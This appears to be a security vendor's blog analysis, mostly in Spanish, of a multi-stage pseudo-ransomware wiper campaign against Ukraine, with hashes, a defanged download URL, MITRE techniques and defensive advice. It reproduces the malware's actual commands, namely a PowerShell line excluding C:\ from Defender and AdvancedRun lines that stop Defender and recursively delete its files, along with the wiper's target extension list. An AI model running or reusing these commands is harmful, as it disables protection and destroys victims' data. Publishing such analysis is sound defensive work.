Take a Product Tour Request a Demo Cybersecurity Assessment Contact Us

Stories

The latest cybersecurity trends, best practices,
security vulnerabilities, and more

El regreso del seudoransomware

Las noticias recientes sobre una campaña de "ransomware" dirigida contra Ucrania han dado lugar a una amplia cobertura mediática no solo sobre la atribución, sino también sobre su posible móvil. Unlike traditional ransomware campaigns where the motive is obvious, this particular campaign is believed to be pseudo in nature1. En otras palabras, probablemente su intención es provocar la destrucción de los sistemas infectados, ya que el eliminador de la etapa 4 se limita a sobrescribir los datos del sistema de la víctima, lo que significa que ya no es posible descifrarlos. Whilst the campaign is targeting largely one country, the Trellix Advanced Threat Research team have published an MVISION Insights campaign to track the threat which highlights what indicators have been found in other countries. (Additional details)

Fuente: Vista preliminar de MVISION Insights

Por lo tanto, recomendamos encarecidamente a las empresas que se aseguren de que su solución de seguridad cuenta con los controles necesarios para detectar y protegerse frente a esta amenaza. En la vista preliminar están disponibles los indicadores de peligro para la caza activa y en nuestros productos hemos incorporado todos los indicadores conocidos. Además, seguimos trabajando para asegurarnos de poder identificar todos los elementos nuevos de este ataque a medida que surjan.

Datos de la campaña

Las primeras muestras e indicadores se denunciaron a última hora del jueves 13 de enero, hora UTC, aproximadamente a partir de la 1 de la madrugada de Ucrania.

The attack consists of three stages, as can be seen below.

Figura 1: Flujo del ataque

Etapa 1: Sobrescritura del MBR y destrucción de todas las particiones
Los archivos iniciales descubiertos son los siguientes:

Nombre de archivo Stage1.exe
Tiempo de compilación 01-10-2022 10:37:18
SHA1 189166d382c73c242ba45889d57980548d4ba37e
SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
MD5 5d5c99a08a7d927346ca2dafa7973fc1

Etapa 2: Descarga de la etapa 3 mediante la red de distribución de contenido alojada por Discord

Nombre de archivo Stage2.exe (originariamente denominado Tbopbh.exe)
Tiempo de compilación 01-10-2022 14:39:54
SHA1 16525cb2fd86dce842107eb1ba6174b23f188537
SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
MD5 14c8482f302b5e81e3fa1b18a509289d

Etapa 3: Ejecución del eliminador de archivos

Nombre de archivo Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

La ruta de archivo de ambos ejecutables era "C:\". Bromas aparte, los archivos realmente tenían nombres como estos.

Durante el análisis de las muestras constatamos que el carácter de ambos archivos es destructivo.

Etapa 1: Reescritura del registro de arranque maestro

Al iniciar la primera etapa, "Stage1.exe" se revela como ransomware tras la ejecución, cuando sobrescribe el registro de arranque maestro (MBR). Tras ejecutar el malware en una máquina virtual y reiniciar el equipo, aparece la nota siguiente:

Como sucede en la mayoría de las notas de ransomware, esta notifica con el lenguaje habitual que el dispositivo se ha cifrado y que los archivos se han secuestrado, y añade una dirección de pago para enviar la cantidad exigida en la moneda indicada. En este caso se incluye un ID de TOX, lo cual no es frecuente. TOX sirve para establecer conexiones de chat peer-to-peer con cifrado de extremo a extremo.

Aunque se analizaron diferentes variantes, la cantidad y la dirección de bitcoin eran las mismas, algo que cambia en la mayoría de las operaciones de ransomware como servicio, y se utilizaban mezcladores de criptomonedas para enmascarar las transacciones.

Analysing the code, no code was observed to delete volume shadow copies or block the recovery mode boot process, which is often used to remove malware and/or restore operations. Estas etapas son muy habituales en la mayoría de las muestras de ransomware.

En el siguiente fragmento de código, vemos que el malware accede a la unidad física en la que reside el MBR para sobrescribirlo.

Etapa 2: Archivo de descarga de Discord

The ‘Stage2’ file is using an icon that resembles the icon of the proxy client “Proxifier”. Los autores intentaron evadir la detección firmando la muestra con un certificado y haciéndola pasar por un binario de Microsoft perteneciente al sistema operativo. Los metadatos adjuntos al archivo están en ruso, como puede verse en la siguiente captura de pantalla. La descripción del ensamblado y el título son ambos "Проводник" ("director" en español), como puede verse en las líneas 24 y 25 de la captura de pantalla siguiente.

Cuando se ejecuta, stage2 ejecuta el comando PowerShell codificado que se indica a continuación.

powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

Una vez descodificado el comando codificado en base64, aparece el verdadero comando: una suspensión de diez segundos para demorar la ejecución:

Powershell.exe Start-Sleep -s 10

Ahora el malware procede a descargar un archivo denominado "Tbopbh.jpg" de un servidor CDN de Discord.

hxxps://cdn[.]discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh[.]jpg

Nombre de archivo Tbobph.jpg
SHA1 b2d863fc444b99c479859ad7f012b840f896172e
SHA256 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
MD5 b3370eb3c5ef6c536195b3bea0120929

Este archivo no es una imagen, sino un archivo PE inverso. Antes de invocarlo, se invierte el orden de los datos. El archivo es una DLL basada en .NET Framework en el que se invoca reflexivamente el punto de inicio de la etapa 3, como puede verse en el fragmento de código siguiente.

La función estática de la tercera etapa se denomina "Ylfwdwgmpilzyaph" y reside en "ClassLibrary1.Main", que son, respectivamente, espacio de nombre y clase. La función no toma argumentos ni devuelve ningún valor.

Etapa 3: Cargador reutilizado

Nombre de archivo Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

Esta etapa también es un binario de .NET Framework, como puede deducirse de la invocación reflexiva de la etapa anterior. El cargador utilizado es más usual y normalmente se emplea para propagar grandes volúmenes de malware. As described in this recent Twitter thread, the xClient RAT was also distributed via this loader family.

Este cargador inicia varios procesos durante su ejecución, tras lo cual utiliza el vaciado de procesos para inyectar y ejecutar la etapa 4. Al principio, el cargador se asegura de tener privilegios administrativos. Si no los tiene, el proceso vuelve a iniciarse mientras se solicitan estos privilegios.

The first process it starts, is a file it drops to “%temp%\Nmddfrqqrbyjeygggda.vbs”. El contenido de este archivo es bastante pequeño, como puede verse a continuación.

CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False

De este modo, "C:\" queda fuera del alcance de la mirada entrometida de Windows Defender. Como ya hemos dicho, las dos primeras etapas se encontraban en esta ubicación exacta, lo que significa que, una vez aplicada la exclusión, los análisis de Defender no detectan su presencia.

The two processes that are started after that, utilise the same tool to execute commands: AdvancedRun by Nir Sofer. La versión utilizada (1.2.2.6, firmada por Nir Sofer el lunes 3 de agosto de 2020, a las 5:45:51 a. m.), es un ejecutable legítimo que este malware utiliza de forma ilícita.

La primera ejecución de AdvancedRun sirve para detener Defender con una ventana invisible.

%temp%\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run

The second execution of AdvancedRun is used to completely remove the files of Defender from the system.

%temp%\AdvancedRun.exe /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run

Después, el cargador utiliza la función de interoperabilidad de .NET Framework para ejecutar código no gestionado de un contexto gestionado. La siguiente lista de funciones muestra qué funciones no gestionadas se utilizaron sin orden aparente. Los nombres de estos archivos están codificados en base64 en el cargador.

  • ResumeThread
  • Wow64SetThreadContext
  • SetThreadContext
  • GetThreadContext
  • VirtualAllocEx
  • WriteProcessMemory
  • ZwUnmapViewOfSection
  • CreateProcessA
  • CloseHandle
  • ReadProcessMemory

Estas llamadas a función indican el uso de una inyección de procesos. Sobre esta base puede volcarse la cuarta etapa, cuyo análisis se muestra a continuación.

Etapa 4: Eliminador

Nombre de archivo -
SHA1 8be3c66aecd425f1f123aadc95830de49d1851b5
SHA256 191ca4833351e2e82cb080a42c4848cfbc4b1f3e97250f2700eff4e97cf72019
MD5 343fcded2aaf874342c557d3d5e5870d

El eliminador está escrito en C y no contiene símbolos ni ninguna otra información de depuración. Su función principal se indica a continuación junto con algunas notas.

El malware se repite en todas las unidades, donde elimina todos los archivos que coinciden con cualquiera de las 191 extensiones siguientes.

.HTML, .HTM, .SHTML, .XHTML, .PHTML, .PHP, .JSP, .ASP, .PHPS, .PHP5, .ASPX, .PHP4, .PHP6, .PHP7, .PHP3, .DOC, .DOCX, .XLS, .XLSX, .PPT, PPTX, .PST, .OST, .MSG, .EML, .VSD, .VSDX, .TXT, .CSV, .RTF, .WKS, .WK1, .PDF, .DWG, .ONETOC2, .SNT, .JPEG, .JPG, .DOCB, .DOCM, .DOT, .DOTM, .DOTX, .XLSM, .XLSB, .XLW, .XLT, .XLM, .XLC, .XLTX, .XLTM, .PPTM, .POT, .PPS, .PPSM, .PPSX, .PPAM, .POTM, .EDB, .HWP, .602, .SXI, .STI, .SLDX, .SLDM, .BMP, .PNG, .GIF, .RAW, .CGM, .SLN, .TIF, .TIFF, .NEF, .PSD, .AI, .SVG, .DJVU, .SH, .CLASS, .JAR, .BRD, .SCH, .DCH, .DIP, .PL, .VB, .VBS, .PS1, .BAT, .CMD, .JS, .ASM, .H, .PAS, .CPP, .C, .CS, .SUO, .ASC, .LAY6, .LAY, .MML, .SXM, .OTG, .ODG, .UOP, .STD, .SXD, .OTP, .ODP, .WB2, .SLK, .DIF, .STC, .SXC, .OTS, .ODS, .3DM, .MAX, .3DS, .UOT, .STW, .SXW, .OTT, .ODT, .PEM, .P12, .CSR, .CRT, .KEY, .PFX, .DER, .OGG, .RB, .GO, .JAVA, .INC, .WAR, .PY, .KDBX, .INI, .YML, .PPK, .LOG, .VDI, .VMDK, .VHD, .HDD, .NVRAM, .VMSD, .VMSN, .VMSS, .VMTM, .VMX, .VMXF, .VSWP, .VMTX, .VMEM, .MDF, .IBD, .MYI, .MYD, .FRM, .SAV, .ODB, .DBF, .DB, .MDB, .ACCDB, .SQL, .SQLITEDB, .SQLITE3, .LDF, .SQ3, .ARC, .PAQ, .BZ2, .TBK, .BAK, .TAR, .TGZ, .GZ, .7Z, .RAR, .ZIP, .BACKUP, .ISO, .VCD, .BZ, .CONFIG

El proceso de eliminación se muestra en el siguiente diagrama.

La lista de exclusión de nombres contiene los nombres de archivo siguientes: ".", "..", "$RECYCLE.BIN", o el valor de la variable de entorno denominada "HOMEDRIVE".

Los nombres de archivo demasiado largos no se pueden manejar correctamente con el designador de disco, razón por la cual aquí es preciso adoptar otro enfoque. Microsoft’s documentation describes all scenarios clearly, including the how and why.

Una vez finalizada la eliminación, se llama a la segunda función de la función principal para asegurar la ejecución asíncrona del comando dado; la terminación de su propio proceso da lugar al borrado del archivo del eliminador, que en ese momento ya se ha dejado de utilizar. Este es el código.

El nombre del módulo se copia en el comando, que ejecuta una ventana minimizada donde se emite 5 veces una solicitud de ping a "111.111.111.111", con un tiempo de espera de 10 milisegundos entre cada una. El resultado del comando se envía a "Nul" para garantizar que queda oculto. Además, la ruta de archivo del eliminador se utiliza como argumento que debe borrarse de forma forzada y silenciosa del disco. Esto fallaría si el programa siguiera en ejecución, de ahí que el comando ping se ejecute primero. La función de la siguiente captura de pantalla ejecuta el comando dado y cierra todos los controladores.

Por último, llama a ExitWindowsEx, utilizando EWX_SHUTDOWN como marca, para asegurar que todos los búferes de archivos se han vaciado en el disco. La razón dada para el cierre es la correspondiente conectividad de la red.

Técnicas MITRE
T1059.001 PowerShell Uso de PowerShell para descargar un archivo de Discord y ejecutarlo.
T1485 Data Destruction Eliminación de MBR o sobrescritura de archivos para dañarlos.
T1059.005 Visual Basic Stage3 ejecuta vbs con inicialización de Wscript.
T1562.004 Disable or Modify System firewall Stage3 desactiva Defender.
T1112 Modify Registry Modificación de la configuración del Registro para desactivar herramientas.
T1105 Ingress Tool Transfer Transferencia de archivos como Stage1.exe y stage2.exe a la red y a través de la red.

Guía defensiva

Inteligencia de amenazas

MVISION Insights proporciona visibilidad temprana de los indicadores de peligro relacionados con esta campaña y las detecciones correspondientes, si las hay, en su entorno

MVISION Insights también ofrece los signos de prevalencia en su entorno al relacionar las detecciones de ENS con la campaña y brindar información sobre el seguimiento de los procesos para mostrar el flujo de ejecución

Asegúrese de tener al día sus definiciones de AMCore en ENS y de activar GTI y Real Protect.

Figura 2: Detecciones de ENS activadas para stage1 y 2

MVISION EDR ofrece visibilidad completa de la ejecución de los procesos del modo siguiente:

Aquí podemos ver el flujo de comunicación de las cargas útiles de la segunda etapa y el propósito de las ejecuciones del script de PowerShell.

Al crear una investigación a partir de las detecciones de amenazas, podemos ver el uso de herramientas dobles de información como PowerShell y cmd para ejecutar comandos del SO, hacer cambios en el sistema y descargar cargas útiles adicionales.


1 https://www.helpnetsecurity.com/2017/08/14/pseudo-ransomware/

Ver novedades

La ciberseguridad no es un secreto para nosotros. Pero somos una nueva empresa.
Manténgase al día de nuestra evolución.

Introduzca una dirección de correo electrónico válida.
Nunca le enviaremos correo no deseado. Cancele la suscripción en cualquier momento.